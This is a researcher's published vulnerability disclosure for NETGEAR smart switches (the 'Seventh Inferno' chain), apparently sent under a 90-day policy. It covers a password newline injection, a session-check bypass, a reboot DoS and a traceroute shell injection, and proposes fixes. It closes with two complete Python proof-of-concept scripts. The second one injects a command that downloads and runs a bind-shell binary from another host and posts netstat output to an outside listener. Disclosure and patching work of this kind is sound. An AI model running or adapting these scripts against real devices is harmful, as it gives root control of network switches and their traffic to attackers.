TL;DR: NETGEAR just patched 3 reported vulnerabilities (Demon's Cries, Draconian Fear and Seventh Inferno) in some managed (smart) switches. If you or your company owns any of these devices, please patch now.
P.S. This vulnerability and exploit chain is actually quite interesting technically. In short, it goes from a newline injection in the password field, through being able to write a file with constant uncontrolled content of 2 (like, one byte 32h), through a DoS and session crafting (which yields an admin web UI user), to an eventual post-auth shell injection (which yields full root).
Affected devices:
NETGEAR's advisory can be found here: Security Advisory for Multiple Vulnerabilities on Some Smart Switches, PSV-2021-0140, PSV-2021-0144, PSV-2021-0145.
Some human readable details are in the next section.
1 NETGEAR on the advisory page says it's 8.8 (High). The difference – as usual – falls down to the AV:N vs AV:A part (i.e. Attack Vector: Network vs Adjacent). Not sure what is NETGEAR's argument in this case, but this vulnerability can be exploited both from the directly Intranet and indirectly (in a reflected way) from the Internet (though the exploit chain is missing one part in the latter case). Also, see the CVSS v3.1: Specification Document: Network should be used even if the attacker is required to be on the same intranet to exploit the vulnerable system (e.g., the attacker can only exploit the vulnerability from inside a corporate network). At the end of the day it doesn't change anything technically (but plz patch).
Published on September 13th, 2021.
Seventh Inferno
*** Summary:
Affected Model: NETGEAR GS110TPV3 Smart Managed Pro Switch (and some other)
Firmware Version: V7.0.6.3 (from 2021-05-07)
NETGEAR GS110TPV3 Smart Managed Pro Switch is vulnerable to a newline injection
in the password field that, in combination with a reboot-DoS and a post-auth
shell injection, leads to code execution as root user and therefore full device
compromise.
Furthermore, this vulnerability is also exploitable in a reflected manner (i.e.
by convincing an in-LAN user's browser to send a few packets to the switch).
NOTE: The reported reboot DoS vulnerability is a bit more tricky to exploit in a
reflected way, but honestly I tried this vector only for about 10 minutes. I've
put more details later in the report.
The PoC for this one is a two-stage one:
- first one reboots the switch,
- and second one fakes a new session and exploits the post-auth RCE.
To summarize, this report contains information about:
- a newline injection vulnerability that allows to create / write to arbitrary
files (attacker does not control the content),
- a post-authentication shell injection bug (not a vulnerability in itself due
to being post-auth),
- a Denial of Service vulnerability that, in combination with the newline
injection, forms a reboot DoS.
IMPORTANT: This vulnerability is reported under the 90-day policy, i.e. this
report will be shared publicly with the defensive community on 13th September
2021. See https://www.google.com/about/appsecurity/ for details.
NOTE: At this point in time I haven't checked what other models are affected,
but I strongly suspect other NETGEAR devices reuse the same code.
*** More details - newline injection:
The web UI authentication logic is copy-pasted from the Draconian Fear report,
but it's important in this case as well:
--- copy/paste ---
Web UI authentication logic on this device goes like this:
1. Admin opens the website and enters the password.
2. The password is obfuscated and sent to /cgi/set.cgi?cmd=home_loginAuth.
3. The set.cgi handler (cgi_home_loginAuth_set) creates an authing session file
(libcgiutil.so's cgi_util_authingSession_create) named:
/tmp/sess/guiAuth_info_{handlerPid}
This file contains:
* username
* password
* name of the result file /tmp/sess/guiAuth_{http}_{clientIP}_{userAgent}
* {clientIP}
* {http}
* {userAgent}
(where {http} is either "http" or "https" string, and {userAgent} is
an integer between 1 and 5 denoting a type of browser)
4. The same handler creates another file named /tmp/_polld_act_web_login and
fills it with a command to be executed:
/home/web/cgi/login.cgi {handlerPid} &
5. Then sends a SIGUSR1 signal to polld daemon and returns a generic HTTP
response.
6. The polld daemon upon receiving the SIGUSR1 opens the created
/tmp/_polld_act_web_login file and executes the command within it.
7. The login.cgi program uses the data inside the
/tmp/sess/guiAuth_info_{handlerPid} file to authenticate the user, and
writes the result in the /tmp/sess/guiAuth_{http}_{clientIP}_{userAgent}
file.
--- end of copy/paste ---
In point 3 above the created file - /tmp/sess/guiAuth_info_{handlerPid} - is a
simple text file that looks like this (example):
admin
mySecretPassword
/tmp/sess/guiAuth_http_::ffff:someip_5
::ffff:someip
http
5
Both the username and the password fields above are inserted into the file
without any form of encoding or escaping, meaning that an attacker is able to
add a newline character to any of these fields, effectively gaining control of
the structure of the file (it's more useful to do it with the password field,
as it can be longer).
For example, if an attacker would send the following password:
X\n/webtmp/xyz\nY
The file created in point 3 would look like this:
admin
x
/webtmp/xyz
y
/tmp/sess/guiAuth_http_::ffff:someip_5
::ffff:someip
http
5
In point 7 the login.cgi program is run (which isn't really a CGI script, not
sure why it's in the cgi/ directory or has .cgi extension), which attempts to
authenticate the user, and eventually writes the result to whatever file is
specified in line 3 of the file. In case of the example above, that would be the
attacker controlled "/webtmp/xyz" file.
This gives the attacker the ability to either create a new file, or overwrite an
existing one (assuming permissions / mount type permits).
However, the attacker does not control the content of this file. In fact the
final content will be either "2" (i.e. just the "2" ASCII character, 1 byte), or
"3". In this case "2" denotes "login failed due to user/password being wrong"
and "3" denotes "login failed due to too many attempts".
While at first glance a file containing only the single character "2" isn't
super useful, this is enough to eventually get code execution on the device.
The trick to do so is to create a fake session file with the following name:
/var/tmp/sess/login_http_
And the following content:
2
This in fact abuses three weaknesses in the session verification process.
Session verification is implemented in the cgi_util_session_check() function
(libcgiutil.so.0.0), and (in short) works as follows:
1. Function at 0x124c0 is called, and it proceeds to grab the HTTP_X_CSRF_XSID
environment variable and decrypt it (RSA with padding). Result is placed
in the g_sessId global variable.
2. Session file /var/tmp/sess/login_{http}_{g_sessId} is opened, and its
content is read using a fscanf("%d\n%u\n%u\n%u\n%u\n%s\n%d\n") function.
3. Session creation date (one of the read fields from the session file) is
verified to check if the session has expired.
4. If all goes well, session is accepted as valid.
The first weakness is the fact that the function 0x124c0's return value is never
checked, meaning that even if X-CSRF-XSID HTTP header is not set, or doesn't
decrypt correctly, there is no error caught. Instead, g_sessId remains an empty
string - thus the /var/tmp/sess/login_http_ file created in previous step of
the attack.
The second weakness is related to fscanf's return value not being checked - this
allows a faulty session file to still be accepted, with most of the fields just
maintaining initialization-time values (zeros in this case). This means that our
session file that contains just "2" is still accepted as a valid session file.
That said, because the "session creation time" field defaults to zero, this
fake session gets immediately rejected as expired.
That's where the third weakness and the reboot DoS come into play. Because the
session time is actually the number of seconds from last reboot (i.e. system
uptime), this means that session creation time of value zero is perfectly fine
during the first couple of minutes after reboot.
So it's enough to reboot the switch (see "More details - reboot DoS" section)
and create the /var/tmp/sess/login_http_ to get a fully valid session (that has
either any invalid id in the X-CSRF-XSID HTTP header, or that field is entirely
skipped).
The next step is to use a post-auth shell injection to execute any code (see
"More details - post-auth shell injection" section).
NOTE: Everything described in this section is achievable in a reflected manner
by using a simple website with a JavaScript that uses XMLHttpRequest to send a
custom POST packet (I've tested it).
*** More details - reboot DoS
NOTE: Any reboot DoS can be used to reboot the switch, it doesn't have to be
this specific one of course. My backup plans were (given the old kernel) some
newer TCP/IP stack vulnerabilities (like IPv6 fragment ICMP kernel panic, etc).
I haven't tested them though.
The first step in the discovered reboot vulnerability relies on triple
exploitation of the described above newline injection to write "2" into the
following sysctl files:
/proc/sys/vm/panic_on_oom
/proc/sys/kernel/panic
/proc/sys/kernel/panic_on_oops
This configures the kernel to panic and reboot when RAM runs out (otherwise the
switch would just hang and become unresponsive, but never reboot).
The remaining step is to consume the available RAM of the device. This is
achieved by uploading a large file over HTTP - lighttpd is configured to write
the temporary files to the /tmp/httpupload directory, which is backed by RAM fs
(so a large upload effectively eats all the RAM).
Note that the file can be uploaded towards any endpoint - since generic HTTP
servers don't usually know which scripts will or won't accept uploaded files,
the only thing they can do is to accept (i.e. store in RAM or a temporary
location) any uploaded files and pass them on.
NOTE: While it's achievable to set the sysctls in a reflected way using
JavaScript and XMLHttpRequest, things get more tricky for the upload itself. To
be more precise, the switch is pretty slow on accepting the data, and e.g.
Chrome gets annoyed by this pretty fast and cuts the connection. I wouldn't rule
out achieving some variant of the upload DoS on Chrome anyway, but it's not as
straight forward as just using a single Blob/FormData/XMLHttpRequest.
*** More details - post-auth shell injection
The set.cgi's diag_traceroute is vulnerable to a shell injection in the hostname
field, e.g. (POST data example):
v here! v
{"_ds=1&ver=4&type=1&hostname=`SHELL INJ`&probe=3&ttl=30&ttlInit=1&fail=5&
interval=3&port=33434&size=38&source=0&ip=&routingIntf=0&_de=1":{}}
It seems to work best when the first command of the shell injection is echo of
some valid IP, like:
echo 192.168.0.1
but apart from that it works really well with long ;-separated scripts.
I don't consider this to be a vulnerability, since it does require a valid
session (i.e. it's post-authentication), and it doesn't break any assumptions
about what a logged-in admin can do with the device (i.e. the admin can just
replace part of the firmware anyway as it's not signed).
NOTE: It's achievable to exploit this in a reflected way using JavaScript and
XMLHttpRequest (I've tested it).
*** Proposed fixes:
I would start by getting rid of that password obfuscation that's used in the
login request (password put every seventh characters, backwards) - it doesn't
serve any purpose and it's way too simple to trick any MITMing listener (they
can see the JS anyway). It just gives more junior admins a false sense of
security.
Onto the main topic though.
The newline injection can be fixed by e.g. using base64 encoding to store any
user-controlled fields in the intermediate file. In addition, it makes sense to
validate whether the username and password fields are in expected charset (e.g.
only printable characters, ASCII from 0x20 to 0x7E).
The session validation weaknesses can be fixed by:
1. Rejecting any session that's missing the X-CSRF-XSID header.
2. Rejecting any session where X-CSRF-XSID's content doesn't decrypt correctly.
3. Adding integrity check to the session id as well - currently the only check
whether the session decrypted correctly is the RSA padding, but there's
actually a pretty decent probability (around 1/186k) that a random string of
bytes decrypts correctly and meets the padding requirements. I would actually
suggest to encrypt both the session id and the MD5 of session id, and then
(after decrypting both), checking if the MD5 matches (I'm saying MD5 because
both JS and backend already use it, and it should provide enough bits for
integrity in this scenario anyway).
!! NOTE: A better idea is to just get rid of session id encryption/decryption
whatsoever - it doesn't really add any security over e.g. a 128-bit random
hexadecimal encoded number passed as plaintext (and verified against both
length and charset). And it would speed up everything (RSA is slow).
4. Adding return value check for fscanf() when reading fields from the session
file.
5. Changing session creation time (etc) to use e.g. UNIX timestamps instead of
system uptime. This honestly isn't a huge deal, but :shrug:.
The DoS vulnerability can be fixed by configuring lighttpd (I think that's the
server.max-request-size option) to reject any file uploads larger than 16M (care
that it doesn't break future firmware upgrade uploads).
Another problem here is that an attacker might just use several connections to
upload files at the same time. I am not sure if there is a way to configure
lighttpd to avoid this, so some modifications to lighttpd might be needed.
Another idea is to verify session early, and reject any uploads if the session
is missing / invalid.
As for the shell injection post-auth bug, it's enough to add proper server-side
validation to each field, though as said, since firmware isn't signed anyway, I
don't think fixing this changes much.
Please let me know if you have any questions.
*** PoC Exploit (stage 1):
NOTE: Have some ping running to the switch so you can observe when it reboots.
NOTE: It takes about 5 minutes for this DoS to take effect (in my tests it
usually crashed after uploading around 58 MBs).
#!/usr/bin/python3
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import sys
import time
import socket
import os
SWITCH_ADDR = '192.168.2.14' # Address of the switch.
# Assuming port 80 for switch (this exploit is not made to work with HTTPS).
def exploit_write_file(fname):
# Prepare the obfuscated password with the new-line injection to create the
# given file.
fnameb = bytes(fname, 'utf-8')
payload = b'p\n' + fnameb + b'\nx\nhttp\n5'
buf_len = max(289, len(payload) * 7 + 7)
pwd_buffer = bytearray(buf_len)
for i in range(len(pwd_buffer)):
pwd_buffer[i] = 0x41
pwd_buffer[122] = ord(str(len(payload) // 10)) # :shrug:
pwd_buffer[288] = ord(str(len(payload) % 10))
payload = payload[::-1]
for i in range(len(payload)):
pwd_buffer[6 + i * 7] = payload[i]
# URL-encode everything apart from A-Za-z
pwd = []
dont_convert = set(b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz')
for b in pwd_buffer:
pwd.append("%%%.2x" % b if b not in dont_convert else chr(b))
pwd = ''.join(pwd)
# Send the first payload.
print(
f'Exploiting new-line injection (writing 0, then 2, to file {fname})...'
)
data = '{"_ds=1&pwd=' + pwd + '&actKeyText=&xsrf=undefined&_de=1":{}}'
headers = {
'Content-Type': 'application/json',
'User-Agent': 'Firefox',
}
r = requests.post(
f"http://{SWITCH_ADDR}/cgi/set.cgi?cmd=home_loginAuth&token=bla",
verify=False,
headers=headers,
data=data
)
print(r.text)
if r.status_code != 200:
sys.exit("Status code not 200, exiting")
def exploit_upload_dos():
print("Connecting to HTTP to start uploading data...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SWITCH_ADDR, 80))
# Send a fake upload packet.
packet = [
b'POST /cgi/get.cgi?cmd=home_login&token=x HTTP/1.1',
b'Host: ' + bytes(SWITCH_ADDR, 'utf-8'),
b'Content-Length: 532500000',
b'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryePkpFF7tjBAqx29L',
b'',
b'------WebKitFormBoundaryePkpFF7tjBAqx29L',
b'Content-Disposition: form-data; name="MAX_FILE_SIZE"',
b'',
b'2325000',
b'------WebKitFormBoundaryePkpFF7tjBAqx29L',
b'Content-Disposition: form-data; name="uploadedfile"; filename="hello.o"',
b'Content-Type: application/x-object',
b'',
b'... contents of file goes here ...',
]
s.sendall(b'\r\n'.join(packet))
print("Upload header sent.")
print(
"Staring data upload - this script will take a few minutes, and then it "
"will crash. That's expected. Keep some ping running to the server to know "
"when it rebooted - and then run stage 2 of the exploit."
)
try:
for i in range(1024):
print(f"Uploading {i}th MB...")
sys.stdout.flush()
s.sendall(b'A' * (1024 * 1024))
except ConnectionResetError:
print("OK, switch probably crashed! Wait for it to get up and run stage 2!")
exploit_write_file('/proc/sys/vm/panic_on_oom')
print("Sleeping 60 seconds...")
time.sleep(60)
exploit_write_file('/proc/sys/kernel/panic')
print("Sleeping 60 seconds...")
time.sleep(60)
exploit_write_file('/proc/sys/kernel/panic_on_oops')
exploit_upload_dos()
*** PoC Exploit (stage 2):
NOTE: Run it after the switch reboots.
NOTE: You might have to run this 2-3 times, it's not fully stable.
#!/usr/bin/python3
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import sys
import time
SWITCH_ADDR = '192.168.2.14' # Address of the switch.
COMMAND = ( # You might want to change this.
'curl http://192.168.2.198:8888/shell_bind_tcp>/tmp/shell_bind_tcp;'
'chmod 777 /tmp/shell_bind_tcp;'
'/tmp/shell_bind_tcp;'
'netstat -anp | curl -F [email protected] http://192.168.2.198:1234'
)
# Prepare the obfuscated password with the new-line injection to create the
# /var/tmp/sess/login_http_ file.
pwd_buffer = bytearray(400)
for i in range(len(pwd_buffer)):
pwd_buffer[i] = 0x41
payload = b'x\n/var/tmp/sess/login_http_\n::ffff:192.168.2.199\nhttp\n5'
pwd_buffer[122] = ord(str(len(payload) // 10))
pwd_buffer[288] = ord(str(len(payload) % 10))
payload = payload[::-1]
for i in range(len(payload)):
pwd_buffer[6 + i * 7] = payload[i]
# Just URL-encode everything :shrug:
pwd = ''.join("%%%.2x" % b for b in pwd_buffer)
# Send the first payload.
print('Exploiting new-line injection (creating "empty" session)...')
data = '{"_ds=1&pwd='+pwd+'&actKeyText=&xsrf=undefined&_de=1":{}}'
headers = {
#'Content-Type': 'application/json',
'User-Agent': 'Chrome',
}
r = requests.post(
f"http://{SWITCH_ADDR}/cgi/set.cgi?cmd=home_loginAuth&token=bla",
verify=False,
headers=headers,
data=data
)
print(r.text)
if r.status_code != 200:
sys.exit("Status code not 200, exiting")
# Send the shell injection payload with the "empty" session.
print('\nExploiting shell injection (using "empty" session)...')
print(f"If this doesn't return, connect to {SWITCH_ADDR}:11111 for a shell!")
sys.stdout.flush()
data = (
('{"_ds=1&ver=4&type=1&hostname='
'`echo 192.168.2.1;') + COMMAND + ('`'
'&probe=3&ttl=30&ttlInit=1&fail=5&interval=3&port=33434&size=38&source=0&'
'ip=&routingIntf=0&_de=1":{}}')
)
r = requests.post(
f"http://{SWITCH_ADDR}/cgi/set.cgi?cmd=diag_traceroute&token=1",
verify=False,
data=data
)
print(r.text)
res = r.json()
if res.get("logout") == True:
if res.get("reason") == "timeout":
print('\nSwitch is running too long. Reboot it again.')
elif res.get("reason") == "notAuth":
print(
'\nSomething went wrong, "empty" session wasn\'t picked up - try again.'
)
else:
print('\nSomething went wrong, but no idea what - try again?')